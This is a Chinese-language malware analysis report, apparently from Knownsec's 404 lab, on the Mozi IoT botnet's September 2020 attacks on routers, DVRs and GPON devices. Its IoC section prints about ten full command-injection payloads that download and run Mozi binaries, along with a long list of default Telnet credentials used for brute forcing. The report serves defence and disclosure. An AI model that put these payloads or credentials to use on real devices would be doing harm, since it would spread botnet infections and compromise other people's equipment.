2020 年 9 月墨子(Mozi)僵尸网络分析报告

  • A+
所属分类:安全新闻

2020 年 9 月墨子(Mozi)僵尸网络分析报告

作者:[email protected]知道创宇404积极防御实验室
时间:2020年9月18日



1.概述

专项行动期间,某天各大蓝队群内都在交流最近是否收到很多来自印度的攻击流量,最初部分认为是红队在使用印度IP进行攻击。但很快发现事情好像并不是这么简单,通过对攻击Payload特征的分析,发现该攻击不是专项行动红队所发起,而是来自一个正在迅速扩张的僵尸网络——Mozi(墨子)僵尸网络。
Mozi僵尸网络是于2019年底首次出现在针对路由器和DVR 的攻击场景上的一种P2P僵尸网络。主要攻击物联网(IoT)设备,包括网件、D-Link和华为等路由设备。它本质上是Mirai的变种,但也包含Gafgyt和IoT Reaper的部分代码,用于进行DDoS攻击、数据窃取、垃圾邮件发送以及恶意命令执行和传播。目前其规模已经迅速扩大,据统计目前已占到所有物联网(IoT)僵尸网络流量的90% 。
近日知道创宇404积极防御实验室通过知道创宇云防御安全大数据平台监测到大量来自印度IP的攻击。经分析,其中大量的攻击来自Mozi僵尸网络,可能和近期印度Mozi僵尸网络大范围感染并传播有关。


2.追溯分析



2.1发现攻击

近日,知道创宇404积极防御实验室监测到大量来自印度IP的Web攻击,试图通过远程命令执行下载Mozi.m、Mozi.a等恶意文件到被攻击设备上,且使用的User-Agent均为:“Hello, world”。使用的部分攻击Payload如下:
cd+/tmp;rm+rf+*;wget+http://27.6.167.68:46222/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+rf+/tmp/*;wget+http://192.168.1.1:8088/Mozi.m+O+/tmp/netgear;sh+netgear&curpath=/¤tsetting.htm=1

2020 年 9 月墨子(Mozi)僵尸网络分析报告

图1-攻击日志
通过对样本的分析确定该样本属于Mozi僵尸网络家族。

2.2详细分析

2.2.1 Mozi.m样本分析
捕获到的样本信息:
SHA256:bba18438991935a5fb91c8f315d08792c2326b2ce19f2be117f7dab984c47bdf
ELF 头:
Magic
7f 45 4c 46 01 02 01 00 00 00 00 00 00 00 00 00
类别
ELF32
数据
2 补码,大端序 (big endian)
Version
1 (current)
OS/ABI
UNIX - System V
ABI 版本
0
类型
EXEC (可执行文件)
系统架构
MIPS R3000
版本
0x1
入口点地址
0x41fb58
程序头起点
52 (bytes into file)
样本通过UPX进行了加壳操作,且将p_info结构中的p_file_size和p_blocksize值擦除为了0,来增强自身的“安全性”。
在成功感染目标设备之后,Mozi为进行自我保护,会通过防火墙阻断SSH、Telnet端口,以防止被其他僵尸网络入侵:

2020 年 9 月墨子(Mozi)僵尸网络分析报告

图2-阻断22、2323端口通信
根据感染的设备,修改防火墙策略放行不同的端口来保证自身的通信:

2020 年 9 月墨子(Mozi)僵尸网络分析报告

图3-放行自身使用端口
同时读取/proc/net/tcp和/proc/net/raw来查找并KILL掉使用1536和5888端口的进程:

2020 年 9 月墨子(Mozi)僵尸网络分析报告

图4-Kill相关进程
检查被感染的设备上是否存在Watchdog来避免重启:

2020 年 9 月墨子(Mozi)僵尸网络分析报告

图5-检测Watchdog
检查被感染的设备上是否存在/usr/bin/python,如果存在,则将进程名称更改为sshd,不存在则更改为dropbear,以此来迷惑被攻击者。

2020 年 9 月墨子(Mozi)僵尸网络分析报告

图6-更改进程名
分析过程中发现Mozi僵尸网络复用了部分Gafgyt家族僵尸网络的代码,其中内嵌了8个硬编码的公共节点信息,用于加入P2P网络,如下:

2020 年 9 月墨子(Mozi)僵尸网络分析报告

图7-内置的节点
在样本中还硬编码了一个使用XOR加密的配置文件及密钥:

2020 年 9 月墨子(Mozi)僵尸网络分析报告

图8-配置文件
使用硬编码的秘钥解密后得到如下配置数据: [ss]bot[/ss][hp]88888888[/hp][count]http://ia.51.la/go1?id = 19894027&pu =http%3a%2f%2fbaidu.com/[idp][/count]。
新的Mozi节点向http://ia.51.la/发送HTTP请求,来注册自身。
在通信流量中通过1:v4:JBls来标记是否为Mozi节点发起的通信。

2020 年 9 月墨子(Mozi)僵尸网络分析报告

图9-通信标识
所攻击的设备类型包括:GPON光纤设备、NetGear路由设备、华为HG532交换机系列、D-Link路由设备、使用Realtek SDK的设备、Vacron监控摄像机、斐讯路由器、 USR-G806 4G工业无线路由器等:

2020 年 9 月墨子(Mozi)僵尸网络分析报告

图10-攻击的设备类型
同时还在样本中发现硬编码的部分用户名和弱口令,用来对Telnet进行暴力破解攻击,以扩大感染和传播范围,硬编码的部分用户名和密码如下:

2020 年 9 月墨子(Mozi)僵尸网络分析报告

图11-部分弱口令密码


2.3攻击分析

自9月以来知道创宇云防御共拦截了来自Mozi僵尸网络的151,952个IP的攻击,总计拦截攻击14,228,252次。与8月份相比,来自印度的攻击显著增加,拦截到的来自印度的攻击IP同比上涨了近30%,所拦截到的总攻击次数上涨了近42%。下图为知道创宇404积极防御实验室自9月以来监测到的来自印度的攻击IP TOP10:

2020 年 9 月墨子(Mozi)僵尸网络分析报告

图12-攻击IP TOP10
通过对捕获到的日志分析,对所有被攻击的行业进行分类统计,其中被攻击占比最高的为政府事业单位,以及部分部委机关系统及网站。这部分系统在所有被攻击的行业中占比达到45%。如下:

2020 年 9 月墨子(Mozi)僵尸网络分析报告

图13-被攻击行业分布
目前Mozi僵尸网络仍在快速扩张,且呈上升趋势,临近十一重保,各单位仍需提高警惕,做好安全防护措施,尤其是各级政府事业单位以及部委机关单位,应提前做好相关设备的安全检查,避免被僵尸网络入侵感染。


3.防护建议

1.设备关闭不必要的端口,对使用的端口号进行更改;
2.定期更新系统补丁,及时修复相关漏洞;
3.服务器切勿使用弱口令,避免被暴力破解;
4.根据附件中的Payload阻断存在以下特征的通信;
5.关注设备上的可疑进程和外连访问,尤其是近期来自印度的IP。


4.IoCs

公共节点
dht.transmissionbt.com:6881
router.bittorrent.com:6881
router.utorrent.com:6881
ttracker.debian.org:6881
212.129.33.59:6881
82.221.103.244:6881
130.239.18.159:6881
87.98.162.88:6881
部分Payload
POST /GponForm/diag_Form?images/ HTTP/1.1Host: 127.0.0.1:80Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: Hello, WorldContent-Length: 118
XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=``;wget+http://%s:%d/Mozi.m+-O+->/tmp/gpon80;sh+/tmp/gpon80&ipv=0
POST /picsdesc.xml HTTP/1.1Content-Length: 630Accept-Encoding: gzip, deflateSOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMappingAccept: /User-Agent: Hello-WorldConnection: keep-alive
<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope//" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47450</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>cd /var/; wget http://%s:%d/Mozi.m; chmod +x Mozi.m; ./Mozi.m</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
GET /language/Swedish${IFS}&&cd${IFS}/tmp;rm${IFS}-rf${IFS}*;wget${IFS}http://%s:%d/Mozi.a;sh${IFS}/tmp/Mozi.a&>r&&tar${IFS}/string.js HTTP/1.0
POST /HNAP1/ HTTP/1.0Host: %s:80Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://%s:%d/Mozi.m && chmod 777 /tmp/Mozi.m && /tmp/Mozi.m`Content-Length: 640
<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
GET /shell?cd+/tmp;rm+-rf+*;wget+http://%s:%d/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1User-Agent: Hello, worldHost: %s:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
POST /UD/act?1 HTTP/1.1Host: 127.0.0.1:7574User-Agent: Hello, worldSOAPAction: urn:dslforum-org:service:Time:1#SetNTPServersContent-Type: text/xmlContent-Length: 640
<?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1&qu ot;><NewNTPServer1>`cd /tmp && rm -rf * && /bin/busybox wget http://%s:%d/Mozi.m && chmod 777 /tmp/tr064 && /tmp/tr064 tr064`</NewNTPServer1><NewNTPServer2>`echo DEATH`</NewNTPServer2><NewNTPServer3>`echo DEATH`</NewNTPServer3><NewNTPServer4>`echo DEATH`</NewNTPServer4><NewNTPServer5>`echo DEATH`</NewNTPServer5></u:SetNTPServers></SOAP-ENV:Body></SOAP-ENV:Envelope>
GET /cgi-bin/;cd${IFS}/var/tmp;rm${IFS}-rf${IFS}*;${IFS}wget${IFS}http://%s:%d/Mozi.m;${IFS}sh${IFS}/var/tmp/Mozi.mGET /board.cgi?cmd=cd+/tmp;rm+-rf+*;wget+http://%s:%d/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+varcron
POST /soap.cgi?service=WANIPConn1 HTTP/1.1Host: %s:49152Content-Length: 630Accept-Encoding: gzip, deflateSOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMappingAccept: */*User-Agent: Hello, WorldConnection: keep-alive
<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><m:AddPortMapping xmlns:m="urn:schemas-upnp-org:service:WANIPConnection:1"><NewPortMappingDescription><NewPortMappingDescription><NewLeaseDuration></NewLeaseDuration><NewInternalClient>`cd /tmp;rm -rf *;wget http://%s:%d/Mozi.m;/tmp/Mozi.m dlink`</NewInternalClient><NewEnabled>1</NewEnabled><NewExternalPort>634</NewExternalPort><NewRemoteHost></NewRemoteHost><NewProtocol>TCP</NewProtocol><NewInternalPort>45</NewInternalPort></m:AddPortMapping><SOAPENV:Body><SOAPENV:envelope>
GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://%s:%d/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/¤tsetting.htm=1 HTTP/1.0
暴力破解使用的用户名及弱口令
Username
Password
admin
00000000
telnetadmin
1111
!!Huawei
1111111
admin
1234
root
12345
root
123456
keomeo
2010vesta
support
2011vesta
CMCCAdmin
25802580
e8telnet
54321
e8ehome1
666666
e8ehome
7ujMko0admin
user
7ujMko0vizxv
mother
888888
root
88888888
Administrator
@HuaweiHgw
service
[email protected]
supervisor
CMCCAdmin
guest
CUAdmin
admin1
Fireitup
administrator
GM8182
ubnt
PhrQjGzk
tech
Pon521
admin
Zte521
admin
admin
telnet
admin1234

adminHW

adminpass

anko

cat1029

chzhdpl

conexant

default

dreambox

e2008jl

e8ehome

e8ehome1

e8telnet

epicrouter

fucker

gpon

guest

gw1admin

[email protected]

hg2x0

hi3518

ikwb

juantech

jvbzd

keomeo

klv123

klv1234

meinsm

pass

password

plumeria0077

[email protected]+

realtek

root

service

smcadmin

supervisor

support

system

tech

telnet

telnetadmin

ubnt

user

v2mprt

vizxv

xJ4pCYeW

xc3511

xmhdipc

zlxx

zte




SHA256
bba18438991935a5fb91c8f315d08792c2326b2ce19f2be117f7dab984c47bdfc672798dca67f796972b42ad0c89e25d589d2e70eb41892d26adbb6a79f63887


5.参考链接

https://kb.cert.org/vuls/id/582384/
https://www.cebnet.com.cn/20180302/102469557.html
https://cloud.tencent.com/developer/article/1366157


2020 年 9 月墨子(Mozi)僵尸网络分析报告 

往 期 热 门

(点击图片跳转)

2020 年 9 月墨子(Mozi)僵尸网络分析报告

2020 年 9 月墨子(Mozi)僵尸网络分析报告

专项行动的意外收获—— 2020 年 9 月墨子(Mozi)僵尸网络分析报告



2020 年 9 月墨子(Mozi)僵尸网络分析报告  

专项行动的意外收获—— 2020 年 9 月墨子(Mozi)僵尸网络分析报告

 觉得不错点个“在看”哦2020 年 9 月墨子(Mozi)僵尸网络分析报告

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: